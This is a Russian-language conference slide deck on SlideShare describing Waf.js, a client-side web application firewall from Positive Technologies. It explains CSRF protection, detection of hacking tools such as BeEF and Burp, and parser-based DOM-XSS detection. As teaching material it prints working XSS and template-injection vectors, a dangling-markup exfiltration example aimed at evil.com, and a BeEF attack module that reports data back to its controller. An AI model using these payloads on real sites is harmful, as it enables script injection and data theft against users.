SlideShare a Scribd company logo
Waf.js: как защищать веб-
приложения с использованием
JavaScript
ptsecurity.com
Арсений Реутов
areutov@ptsecurity.com
@ru_raz0r
Денис Колегов
dkolegov@ptsecuriy.com
@dnkolegov
1. Waf.js и его возможности
2. Инструменты разработки
3. Защита приложений в Waf.js
4. Планы развития проекта
План
ptsecurity.com
Waf.js и его возможности
ptsecurity.com
Waf.js
4
Waf.js - механизм многоуровневой защиты PT Application Firewall от
атак на клиентской стороне, реализованный в виде набора
JavaScript-модулей
Основные возможности
• Защита от атак CSRF
• Защита от атак DOM-XSS
• Защита от Reverse Clickjacking/SOME
• Обнаружение нежелательного ПО
Инструменты разработки
ptsecurity.com
Стек
6
DOMPurify
Acorn
Esprima / Estools
Grunt
CasperJS
JSCS/ESLint
Защита приложений в Waf.js
Защита от атак CSRF
ptsecurity.com
Защита от CSRF
9
Добавление скрытого поля csrf-token
• в каждую статическую форму полученного html-документа
• в каждую динамически добавляемую форму через MutationObserver
Отсутствие ложных срабатываний для различных REST API,
работающих c JSON/XML
• проверяются только запросы с заголовками Content-Type,
соответствующими HTML-формам
ptsecurity.com
Защита от CSRF
10
Добавление заголовка X-CSRF-Token к каждому отправляемому
запросу средствами AJAX
• Переопределяется метод send у объекта XMLHttpRequest через
window.XMLHttpRequest.Prototype
• Для старых версий IE переопределяются соответствующие методы у
популярных библиотек (jQuery, mootools, ExtJS, etc).
Защита от Reverse Clickjacking
ptsecurity.com
Защита от Reverse Clickjacking/SOME
12
Атака Reverse Clickjacking/SOME
•
•
Недостаток - контролируемые нарушителем данные попадают
без предварительной обработки в контекст вызова функции
JavaScript
Пример
https://ex.com/InCallback/#q=urc_button.click
Павел Топорков. Две истории об уязвимостях в сервисах Google
Ben Hayak. Same Origin Method Execution
ptsecurity.com
Защита от Reverse Clickjacking/SOME
13
function sanitize(s) {
if (typeof getProperty(window, s) === 'function') {
s = '';
}
return s;
}
Минимальный вариант проверки
Возможный вариант на основе _isClobbered в DOMPurify
function sanitize(s) {
if (typeof getProperty(window, s) !== 'string') {
s = '';
}
return s;
}
Обнаружение нежелательного ПО
ptsecurity.com
Нежелательное ПО
15
Виды
• Боты: phantomJS-боты, selenium
• Эсплоиты: beef, sonar, xbackdoor
• Анализ приложений: burp, zap, acunetix, fiddler, dominator
Методы обнаружения
• Анализ свойств объекта Window
• Использование виртуальных имен (burp, zap)
• Сканирование портов с помощью <IMG>
Alcorn, Frichot, Orru. The Browser Hacker’s Handbook
ptsecurity.com
Обнаружение PhantomJS-ботов
16
function detectPhantom(){
if (window.callPhantom || window._phantom) {
console.log("PhantomJS environment detected.");
}
console.log("PhantomJS environment not detected.");
}
Shape Security. Detecting PhantomJS Based Visitors
ptsecurity.com
Обнаружение BeEF
17
function detectBeEF(){
if (window.beef || window.beef_init || window.BeefJS) {
console.log("BeEF environment detected.");
} else if (window.uagent || window.deviceAndroid) {
console.log("BeEF environment in evasion mode detected.");
} else {
console.log("BeEF environment not detected.");
}
}
ptsecurity.com
Обнаружение Burp в BeEF
18
beef.execute(function() {
load_script = function(url) {
var s = document.createElement("script");
s.type = 'text/javascript'; s.src = url;
document.body.appendChild(s);
}
get_proxy = function() {
try {
var response = FindProxyForURL('', '');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=true&response=" + response);
} catch(e) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false");
}
}
load_script("http://burp/proxy.pac");
setTimeout("get_proxy()", 10000);
});
ptsecurity.com
Обнаружение Burp в Waf.js
19
function detectBurp(){
var img = new Image();
img.src = 'http://burp/favicon.ico';
img.onload = function() {
console.log("Burp environment detected.");
};
}
ptsecurity.com
Обнаружение Fiddler в Waf.js
20
var timeout = 150;
function detectFiddler() {
if (!allowInsecureDetectors) {
return;
}
if (window.navigator.platform.substring(0,3) === 'Lin') {
return;
}
var t = new Date().getTime();
var img = new Image();
img.src = 'http://127.0.0.1:8888/FiddlerRoot.cer';
img.onerror = function() {
if (new Date().getTime() - t < timeout) {
console.log("Fiddler environment detected.");
}
};
}
Защита от атак DOM-XSS
ptsecurity.com
Challenges
22
Реализация на стороне клиента
Не можем применять taint-анализ данных, поступающих от пользователя
(à la DOMinator)
Не знаем контекст, в котором могут оказаться пользовательские данные
Множество потенциальных источников, синков и контекстов для
выполнения JavaScript
Не можем ожидать полной загрузки всех скриптов
Важно не только предотвращать, но и обнаруживать атаки
ptsecurity.com
Исследования
23
Server-Side XSS Attack Detection with ModSecurity
and PhantomJS
Precise Client-side Protection against DOM-based
Cross-Site Scripting
Towards Elimination of XSS Attacks with a Trusted and
Capability Controlled DOM (Mario Heiderich)
ptsecurity.com
Как обнаружить XSS?
24
Знать где искать – источники, контролируемые нарушителем
• location
• window.name
• storages
Знать признаки атаки – возможность изменения дерева разбора в
одном из контекстов
• HTML/DOM
• JavaScript
• Attribute
• URL
ptsecurity.com
Виды XSS
25
XSS
HTML/DOM
JavaScript
Attribute
URL
Пример
<svg/onload=alert(1)>
");alert(1);//
" onload="alert(1)
javascript:alert(1)
ptsecurity.com
Стратегия защиты от DOM-XSS
26
Получить
данные
Содержат
опасный
HTML?
Содержат опасные
элементы
JavaScript ?
Запретить
Разрешить
location.pathname
location.search
location.hash
window.name
localStorage
…
document.cookie
Да
Да
Нет
Нет
ptsecurity.com
Виды XSS
27
XSS
HTML/DOM
JavaScript
Attribute
URL
Пример
<svg/onload=alert(1)>
");alert(1);//
" onload="alert(1)
javascript:alert(1)
Грамматика
HTML, JavaScript
JavaScript
HTML, JavaScript
URL, JavaScript
ptsecurity.com
DOMPurify
28
"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for
HTML, MathML and SVG"
Адрес проекта
https://github.com/cure53/DOMPurify
Особенности
– Точный механизм
– Инструмент для разработчиков
– Удаление вредоносного и запрещенного кода из HTML/MathML/SVG
– Поддерживает механизм хуков
ptsecurity.com
Что может DOMPurify
29
Предотвращать атаки XSS (в том числе для jQuery)
var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789';
var policy = {FORBID_TAGS: ['a', 'b']};
var clean = DOMPurify.sanitize(dirty, policy);
clean; //123456789
var dirty = '123<a href="javascript:alert(1)">I am a dolphin too!</a>';
var clean = DOMPurify.sanitize(dirty);
clean; // "123<a>I am a dolphin too!</a>"
var dirty = '<a x="1">123<b>456</b></a>';
var policy = {FORBID_ATTR: ['x']};
var clean = DOMPurify.sanitize(dirty, policy);
clean; //"<a>123<b>456</b></a>"
ptsecurity.com
Что может DOMPurify
30
Предотвращать атаки DOMClobbering
var dirty = '<img src=x name=createElement><img src=y id=createElement>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<img src="x"><img src="y">"
var dirty = '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<form><input>123</form>"
var dirty = '<img src=x name=cookie>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<img src="x">"
ptsecurity.com
Что может DOMPurify
31
Предотвращать атаки на структуру HTML
var dirty = '<img src='http://evil.com/log.cgi?';
var clean = DOMPurify.sanitize(dirty);
clean;// ""
dirty = '<script src=//14.rs a="';
clean = DOMPurify.sanitize(dirty);
clean; // ""
Dangling markup injection
http://lcamtuf.coredump.cx/postxss/
http://blog.innerht.ml/csp-2015/
ptsecurity.com
Особенности DOMPurify
32
Изменение входной строки
• Изменение порядка атрибутов
• Добавление двойных кавычек
• Добавление закрывающего тега
Если в строке отсутствует символ "<", то DOMPurify ничего не
делает
/* Input modification */
DOMPurify.sanitize("<svg width=1 height='2'>");
// "<svg height="2" width="1"></svg>"
/* DOMPurify does nothing if an input does not contain "<" */
DOMPurify.sanitize("alert(1);");
// "alert(1);//"
ptsecurity.com
Что не может DOMPurify
33
Предотвращать JavaScript-инъекции
http://ex.com/foo.html#a';alert(1);//
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
document.write("<scr"+"ipt>var foo = '"+ clean +"'</scr"+"ipt>");
// dirty = "bar';alert(1);//"
// clean = "bar';alert(1);//"
<script> var foo = 'a';alert(1);//'<script>
ptsecurity.com
Что не может DOMPurify
34
Предотвращать Attribute-based-инъекции
http://ex.com/foo.html#' onload='alert(1);
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
document.write("<img src='pic.jpg' width='" + width + "px'/>");
// dirty = "' onload='alert(1);"
// clean = "' onload='alert(1);"
<img src='pic.jpg' width='' onload=alert(1);px'/>");
ptsecurity.com
Что не может DOMPurify
35
Предотвращать JavaScript-инъекции в контексте URL
http://ex.com/foo.html#javascript:alert(1);
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
document.write("<a href='"+clean+"'>Link</a>");
// dirty = "javascript:alert(1)"
// clean = "javascript:alert(1)"
<a href='javascript:alert(1)'>Link</a>");
ptsecurity.com
Что не может DOMPurify
36
Предотвращать атаки Reverse Clickjacking/SOME
http://ex.com/foo.html#delete_button.click
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
var url = '/re?q=' + clean + '&callback=' + clean + '';
var s = document.createElement('script');
s.src = url;
document.body.appendChild(s);
// dirty = "delete_button.click"
// clean = "delete_button.click"
<script src='http://ex.com/re?q=urc_button.click&callback=urc_button.click');
ptsecurity.com
Адаптация DOMPurify
37
function sanitize(s) {
var clean = '';
var purified = DOMPurify.sanitize(s);
if (!isMatch(s, purified)) {
return clean;
}
return s;
}
ε, dompurify(x) ≢ x
x, dompurify(x) ≡ x
sanitize(x) =
ptsecurity.com
Стратегия защиты от DOM-XSS
38
Получить
данные
isDOMPurified()
Содержат опасные
элементы
JavaScript ?
Запретить
Разрешить
location.pathname
location.search
location.hash
window.name
localStorage
…
document.cookie
True
Да
False
Нет
ptsecurity.com
Подходы к обнаружению инъекций для WAF
39
Лексический (регулярные выражения)
Лексико-сигнатурный
• libinjection (Nick Galbreath)
Синтаксический
• на основе генерации парсеров - libdetection (Wallarm)
• на основе адаптации парсеров - Waf.js (Positive Technologies)
ptsecurity.com
Предлагаемый подход
40
Разрешать данные, если соответствующий им JavaScript-код не
содержит опасных конструкций
Использование готовых синтаксических анализаторов (парсеров)
JavaScript
Подход универсален и может быть использован для обнаружению
любых инъекций при наличии соответствующих парсеров
Подход эвристический
ptsecurity.com
Пример 1
41
http://ex.com/foo.html#11111
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");
<script> var foo = 11111; <script>
Program
ExpressionStatement
Literal
ptsecurity.com
Пример 2
42
http://ex.com/foo.html#1;alert(1);
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
Program
ExpressionStatement
Literal
ExpressionStatement
CallExpression
Identifier
Literal
ptsecurity.com
Предлагаемый подход
43
Минимальные требования к парсеру
• Написан на JavaScript
• Работает в веб-браузере
• Высокопроизводительный
Кандидаты
• Acorn
• Esprima
ptsecurity.com
Разработка методов обнаружения
44
Этапы
• Вычисление контекста
• Построение дерева разбора
• Поиск вредоносного кода в дереве разбора
• Восстановление поиска
Методы поиска
• в заданных шаблонах
• с восстановлением на основе ошибок
• с левым приведением (удалением токенов слева)
• устойчивые к ошибкам
ptsecurity.com
Вычисление контекста
45
Проблема
• Дерево разбора для alert(1) содержит узел типа CallExpression
• Дерево разбора для ";alert(1);" не содержит узел типа CallExpression
Шаблоны поиска
var a = "<>";
Вычисление токенов
";alert(1);" – 1 токен
' ";alert(1);" – 1 токен
"";alert(1);" – 8 токенов
parse(var a = "";alert(1);"")
parse("";alert(1);")
ptsecurity.com
Построение дерева разбора
46
ptsecurity.com
Поиск вредоносного кода в JavaScript
47
Опасные конструкции в простейшем случае задаются перечнем
типов узлов ESTree
Для уменьшения числа ложных срабатываний могут быть
использованы дополнительные проверки на основе родительских
или дочерних узлов
Далее в примерах (для простоты изложения) считается, что список
ограничен узлами типа CallExpression
ptsecurity.com
Поиск в дереве разбора
48
Что делать когда дерево разбора не может быть построено?
""};alert(1);var f={t:"
function sanitize(dirty) {
var esprima = require('esprima'), estraverse = require('estraverse'), clean = '', tree;
tree = esprima.parse(dirty);
estraverse.traverse(tree, {
enter: function(node) {
if (node.type === 'CallExpression') {
return clean;
}
}
});
return dirty;
}
Обход дерева (esprima/estraverse)
ptsecurity.com
Восстановление поиска
49
Правое приведение (удаление токенов справа)
""};alert(1);var f={t:" ""};alert(1);
Эвристически изменять вход парсера на основе информации об
ошибках разбора на предыдущем шаге
Останавливаться в построении дерева как только обнаружили
запрещенные узлы
ptsecurity.com
Восстановление поиска
50
function sanitize(dirty) {
var acorn = require('acorn'), detected = false, clean = '', tree ;
acorn.plugins.detectCallExpression = function(parser) {
parser.extend('finishNode', function(nextMethod) {
return function(code, node) {
if(node === 'CallExpression') {
detected = true;
}
return nextMethod.call(this, code, node);
}
})
};
tree = acorn.parse(payload, {plugins: {detectCallExpression: true}});
if (detected) {
return clean;
}
return dirty;
}
Возможность изменять методы разбора имеется только у Acorn
ptsecurity.com
Идеальный парсер
51
Написан на JavaScript
Работает в веб-браузере
Высокопроизводительный
Соответствует стандартам (ECMAScript, ESTree)
Имеет возможность изменять методы разбора
Возвращает информацию об ошибках
Может работать в режиме толерантности к ошибкам (error-tolerant
parser)
ptsecurity.com
Методы поиска
52
Этапы
• Вычисление контекста
• Построение дерева разбора
• Поиск вредоносного кода в дереве разбора
• Восстановление поиска
Методы поиска
• в заданных шаблонах
• с восстановлением на основе ошибок
• с левым приведением (удалением токенов слева)
• устойчивые к ошибкам
ptsecurity.com
Поиск в шаблонах
53
templates = {
var a = <>;
var a = ' <> ';
var a = {aa: "<>", bb: "bb"}
}
input = "};alert(1);var f={t:"
1
ptsecurity.com
Поиск в шаблонах
54
contexts = {
var a = "};alert(1);var f={t:";
var a = ' "};alert(1);var f={t:" ';
var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"}
}
2
ptsecurity.com
Поиск в шаблонах
55
parse(var a = "};alert(1);var f={t:" ;)
parse(var a = ' "};alert(1);var f={t:" ';)
parse(var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"})
3
ptsecurity.com
Поиск с восстановлением
56
input = "};alert(1);var f={t:"
1
ptsecurity.com
Поиск с восстановлением
57
input = "};alert(1);var f={t:"
normalized = ""};alert(1);var f={t:"
2
ptsecurity.com
Поиск с восстановлением
58
input = "};alert(1);var f={t:"
normalized = ""};alert(1);var f={t:"
parse(""};alert(1);var f={t:")
3
ptsecurity.com
Поиск с восстановлением
59
parse (""};alert(1);var f={t:")
4
Unexpected token (1:2)
ptsecurity.com
Поиск с восстановлением
60
parse (;alert(1);var f={t:")
5
Unterminated string constant (1:19)
ptsecurity.com
Поиск с восстановлением
61
parse (;alert(1);var f={t:)
6
Unexpected token (1:19)
ptsecurity.com
Поиск с восстановлением
62
parse (;alert(1);var f={t)
7
Unexpected token (1:18)
ptsecurity.com
Поиск с восстановлением
63
parse (;alert(1);var f={)
8
Unexpected token (1:17)
ptsecurity.com
Поиск с восстановлением
64
parse (;alert(1);var f=)
9
Unexpected token (1:16)
ptsecurity.com
Поиск с восстановлением
65
parse (;alert(1);var f)
10
Parse tree
ptsecurity.com
Метод поиска с левым приведением
66
Вход: строка S, контекст CTX
Выход: является ли S инъекцией в контексте CTX?
1. Построить tokens - список JS-токенов s в CTX
2. Построить дерево разбора для S в CTX
3. Если в дереве есть запрещенные узлы, то S – инъекция
4. Иначе удалить из S следующий токен
5. Если s непустое, то перейти на шаг 2
ptsecurity.com
Поиск с левым приведением
67
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
1
ptsecurity.com
Поиск с левым приведением
68
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
2
ptsecurity.com
Поиск с левым приведением
69
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = ""});alert(1);var f =({t:"
parse(ctx): Unexpected token (1:2)
3
ptsecurity.com
Поиск с левым приведением
70
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = });alert(1);var f =({t:"
parse(ctx): Unexpected token (1:0)
4
ptsecurity.com
Поиск с левым приведением
71
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = );alert(1);var f =({t:"
parse(ctx): Unexpected token (1:0)
5
ptsecurity.com
Поиск с левым приведением
72
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = ;alert(1);var f =({t:"
parse(ctx): Program
6
ptsecurity.com
Поиск с левым приведением
73
7
Program
EmptyStatement ExpressionStatement
alert
CallExpression
…
arguments
1
nodes = {CallExpression}
ctx = ;alert(1);var f =({t:"
ptsecurity.com
Фрагмент кода
74
function sanitize(s){
var clean = '';
var ctxs = ['', '"', '''], ctx, tokens, curToken, detected = false;
for (var i = 0, len = ctxs.length; i < len; i++) {
ctx = ctxs[i] + s;
tokens = getTokens(ctx);
curToken = 0;
while(ctx.length > 0 && !isInjection) {
try {
acorn.parse(ctx, plugins: {detectCallExpression: true}});
}
catch(e){}
if (detected) return clean;
ctx = ctx.substring(tokens[curToken].length);
curToken +=1;
}
}
return s;
};
}
ptsecurity.com
Примеры обнаруживаемых векторов
75
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.sr
c%3D%27https%3A%2f%2fblue-sea-697d.quartiers047.workers.dev%3A443%2fhttp%2fexample.com%2f1.js%27%3Bdocument.body.
appendChild%28s%29%7D%29%28document.createElement%28%27sc
ript%27%29%29
OSX Message XSS
Client-side Template Injection with AngularJS
Cure53 H5SC Mini Challenge 4
[alert(1)]
%22})));alert(1)}catch(e){}//
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
ptsecurity.com
Примеры обнаруживаемых векторов
76
http://friendfeed.com/api/feed/public?callback=var WshShell=new
ActiveXObject("WScript.Shell");WshShell.Exec("calc");//
Internet Explorer Reflected File Download
Reflected XSS on developer.uber.com via Angular template injection
ES6
alert`1`
https://developer.uber.com/docs/deep-
linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyD
escriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
ptsecurity.com
Толерантность к ошибкам
77
)},{0:prompt(1
Prompt.ml Challenge Hidden Level 4
function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');
return '<body onload="think.out.of.the.box(' + input + ')">';
}
return '<body onload="think.out.of.the.box()},{0:prompt(1)">';
"… the solution might work for some older versions of Chrome, while for others, a
different vector would be needed…"
ptsecurity.com
Толерантность к ошибкам
78
nodes = {CallExpression}
s = )},{0:prompt(1
Program
ExpressionStatement
SequenceExpression
…
ObjectExpressionIdentifier
CallExpression
name: x
ptsecurity.com
Стратегия защиты от DOM-XSS
79
Получить
данные
isDOMPurified()
isJSParsed()
Запретить
Разрешить
location.pathname
location.search
location.hash
window.name
localStorage
…
document.cookie
True
True
False
False
ptsecurity.com
Минимизация ложных срабатываний
80
Расширенная конфигурация
• Классы источников
• Контексты для источников и отдельных параметров
• Запрещенные узлы ESTree
Реализация дополнительных проверок в модулях Acorn
Предустановленные профили защиты
Тестирование
Планы развития проекта
ptsecurity.com
План развития
82
Подпись AJAX-запросов на клиентской стороне
Защита от перенаправления через opener
Защита от фишинговых атак
Предупреждение пользователей о Self-XSS
Спасибо!
Waf.js
ptsecurity.com
Арсений Реутов
areutov@ptsecurity.com
@ru_raz0r
Денис Колегов
dkolegov@ptsecuriy.com
@dnkolegov

More Related Content

What's hot (20)

PPTX
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Mikhail Egorov
 
PPTX
[DagCTF 2015] Hacking motivation
beched
 
PDF
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
PDF
Е. Фиделин Безопасность Drupal сайтов
Albina Tiupa
 
PDF
Максим Кочкин (Wamba)
Ontico
 
PPTX
Безопасность сессий в веб-приложениях: практическое применение
SQALab
 
KEY
Безопасность веб-приложений: starter edition
Andrew Petukhov
 
PPTX
Воркшоп по анализ защищённости веб-приложений
beched
 
PDF
Техники пентеста для активной защиты - Николай Овчарук
HackIT Ukraine
 
PPTX
С чего начать свой путь этичного хакера? - Вадим Чакрян
HackIT Ukraine
 
PPTX
Истории из жизни. Как взламывают сети крупных организаций.
Dmitry Evteev
 
PPTX
Безопасность сессий в веб-приложениях
Kateryna Ovechenko
 
ODP
AJAX Security
kappa
 
PPT
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
rit2011
 
PPT
Безопасность веб-приложений сегодня
Dmitry Evteev
 
PDF
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
revisium
 
PDF
Как обеспечить безопасность клиентских сайтов
revisium
 
PPTX
Владимир Кочетков "OWASP TOP 10 для.NET"
MskDotNet Community
 
PPTX
Тестирование на проникновение в сетях Microsoft
Dmitry Evteev
 
PDF
Где прячутся мобильные вирусы — Григорий Земсков
Yandex
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Mikhail Egorov
 
[DagCTF 2015] Hacking motivation
beched
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
Е. Фиделин Безопасность Drupal сайтов
Albina Tiupa
 
Максим Кочкин (Wamba)
Ontico
 
Безопасность сессий в веб-приложениях: практическое применение
SQALab
 
Безопасность веб-приложений: starter edition
Andrew Petukhov
 
Воркшоп по анализ защищённости веб-приложений
beched
 
Техники пентеста для активной защиты - Николай Овчарук
HackIT Ukraine
 
С чего начать свой путь этичного хакера? - Вадим Чакрян
HackIT Ukraine
 
Истории из жизни. Как взламывают сети крупных организаций.
Dmitry Evteev
 
Безопасность сессий в веб-приложениях
Kateryna Ovechenko
 
AJAX Security
kappa
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
rit2011
 
Безопасность веб-приложений сегодня
Dmitry Evteev
 
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
revisium
 
Как обеспечить безопасность клиентских сайтов
revisium
 
Владимир Кочетков "OWASP TOP 10 для.NET"
MskDotNet Community
 
Тестирование на проникновение в сетях Microsoft
Dmitry Evteev
 
Где прячутся мобильные вирусы — Григорий Земсков
Yandex
 

Viewers also liked (20)

PDF
Строим ханипот и выявляем DDoS-атаки
Positive Hack Days
 
PDF
Применение виртуализации для динамического анализа
Positive Hack Days
 
PPTX
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...
Positive Hack Days
 
PDF
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Positive Hack Days
 
PDF
Обратная разработка бинарных форматов с помощью Kaitai Struct
Positive Hack Days
 
PDF
Перехват беспроводных гаджетов — от квадрокоптеров до мышек
Positive Hack Days
 
PDF
Статический анализ кода в контексте SSDL
Positive Hack Days
 
PPTX
200 open source проектов спустя: опыт статического анализа исходного кода
Positive Hack Days
 
PPTX
Защищенность GSM
Positive Hack Days
 
PPTX
Как «вправить» автомобилю «мозги»
Positive Hack Days
 
PPTX
Современные DDoS-атаки: тенденции, опасность, подходы к защите
Positive Hack Days
 
PDF
Attacks on SAP Mobile
Positive Hack Days
 
PPTX
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
Positive Hack Days
 
PPTX
Современные DDoS-атаки: тенденции, опасность, подходы к защите
Positive Hack Days
 
PDF
Flash умер. Да здравствует Flash!
Positive Hack Days
 
PDF
Боремся с читингом в онлайн-играх
Positive Hack Days
 
PDF
DNS как линия защиты/DNS as a Defense Vector
Positive Hack Days
 
PPTX
Выживший
Positive Hack Days
 
PPTX
Damn Vulnerable Chemical Process
Positive Hack Days
 
PPTX
Практические рекомендации по использованию системы TestRail | Дмитрий Рыльцов...
Positive Hack Days
 
Строим ханипот и выявляем DDoS-атаки
Positive Hack Days
 
Применение виртуализации для динамического анализа
Positive Hack Days
 
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...
Positive Hack Days
 
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Positive Hack Days
 
Обратная разработка бинарных форматов с помощью Kaitai Struct
Positive Hack Days
 
Перехват беспроводных гаджетов — от квадрокоптеров до мышек
Positive Hack Days
 
Статический анализ кода в контексте SSDL
Positive Hack Days
 
200 open source проектов спустя: опыт статического анализа исходного кода
Positive Hack Days
 
Защищенность GSM
Positive Hack Days
 
Как «вправить» автомобилю «мозги»
Positive Hack Days
 
Современные DDoS-атаки: тенденции, опасность, подходы к защите
Positive Hack Days
 
Attacks on SAP Mobile
Positive Hack Days
 
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
Positive Hack Days
 
Современные DDoS-атаки: тенденции, опасность, подходы к защите
Positive Hack Days
 
Flash умер. Да здравствует Flash!
Positive Hack Days
 
Боремся с читингом в онлайн-играх
Positive Hack Days
 
DNS как линия защиты/DNS as a Defense Vector
Positive Hack Days
 
Выживший
Positive Hack Days
 
Damn Vulnerable Chemical Process
Positive Hack Days
 
Практические рекомендации по использованию системы TestRail | Дмитрий Рыльцов...
Positive Hack Days
 
Ad

Similar to Waf.js: как защищать веб-приложения с использованием JavaScript (20)

PDF
11 лекция, петр волков
karina krew
 
PDF
Risspa domxss
yaevents
 
PDF
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
revisium
 
PPT
PT MIFI Labxss
Dmitry Evteev
 
PPT
PT MIFI Labxss
Dmitry Evteev
 
PDF
Pt devteev-risspa
yaevents
 
PPTX
Alexei Sintsov - "Between error and vulerability - one step"
Andrew Mayorov
 
PDF
Svyatoslav Login "360 View of XSS"
Fwdays
 
PPT
ярослав рабоволюк
kuchinskaya
 
PDF
[ONSEC ]XSS vs waf
d0znp
 
PDF
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Badoo Development
 
PPTX
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Ontico
 
PDF
Безопасность сайта: мифы и реальность — Петр Волков
Yandex
 
PPTX
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Dmitry Evteev
 
PDF
Web application security (RIT 2014, rus)
Maksim Kochkin
 
PDF
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
QADay
 
PPTX
Node.js введение в технологию, КПИ #ITmeetingKPI
Timur Shemsedinov
 
PPT
Информационная безопасность и web-приложения
Maxim Krentovskiy
 
PPTX
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Ontico
 
PDF
Жизнь без SDL
Advanced monitoring
 
11 лекция, петр волков
karina krew
 
Risspa domxss
yaevents
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
revisium
 
PT MIFI Labxss
Dmitry Evteev
 
PT MIFI Labxss
Dmitry Evteev
 
Pt devteev-risspa
yaevents
 
Alexei Sintsov - "Between error and vulerability - one step"
Andrew Mayorov
 
Svyatoslav Login "360 View of XSS"
Fwdays
 
ярослав рабоволюк
kuchinskaya
 
[ONSEC ]XSS vs waf
d0znp
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Badoo Development
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Ontico
 
Безопасность сайта: мифы и реальность — Петр Волков
Yandex
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Dmitry Evteev
 
Web application security (RIT 2014, rus)
Maksim Kochkin
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
QADay
 
Node.js введение в технологию, КПИ #ITmeetingKPI
Timur Shemsedinov
 
Информационная безопасность и web-приложения
Maxim Krentovskiy
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Ontico
 
Жизнь без SDL
Advanced monitoring
 
Ad

More from Positive Hack Days (20)

PPTX
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Positive Hack Days
 
PPTX
Как мы собираем проекты в выделенном окружении в Windows Docker
Positive Hack Days
 
PPTX
Типовая сборка и деплой продуктов в Positive Technologies
Positive Hack Days
 
PPTX
Аналитика в проектах: TFS + Qlik
Positive Hack Days
 
PPTX
Использование анализатора кода SonarQube
Positive Hack Days
 
PPTX
Развитие сообщества Open DevOps Community
Positive Hack Days
 
PPTX
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Positive Hack Days
 
PPTX
Автоматизация построения правил для Approof
Positive Hack Days
 
PDF
Мастер-класс «Трущобы Application Security»
